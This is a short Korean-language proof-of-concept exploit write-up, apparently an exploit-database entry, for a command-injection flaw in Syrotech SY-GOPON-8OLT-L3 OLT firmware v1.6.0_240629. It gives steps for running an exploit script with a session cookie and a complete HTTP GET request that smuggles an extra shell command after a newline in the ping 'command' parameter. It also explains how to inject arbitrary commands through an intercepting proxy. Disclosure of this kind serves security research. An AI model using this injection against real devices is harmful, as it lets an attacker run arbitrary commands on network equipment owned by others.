
HTTP 요청 조작을 통해 임의 명령 실행을 허용하는 Syrotech SY-GOPON-8OLT-L3의 명령 주입 취약점용 개념 증명 악용 코드입니다.
Syrotech SY-GOPON-8OLT-L3 v1.6.0_240629 명령 주입 취약점
1- 스크립트에서 URL을 수정하세요.
2- 스크립트에서 Cookie_Login 값을 수정하세요.
3- 스크립트를 실행하면 명령을 실행할 수 있습니다.
GET /cgi/home.php?fun=system&page=shellCMDExec&isajax=1&runtab=1&cmdExec=1&command=ping%208.8.8.8%20-c%204%0aid&random=1725991418844 HTTP/1.1
일반적으로 관리 패널에서는 ping 명령만 실행이 허용됩니다.
프록시로 요청을 가로챈 후 command 매개변수 끝에 개행 바이트를 추가하고 실행하려는 명령을 입력하면 다른 명령을 실행할 수 있습니다.
Mehmet Demir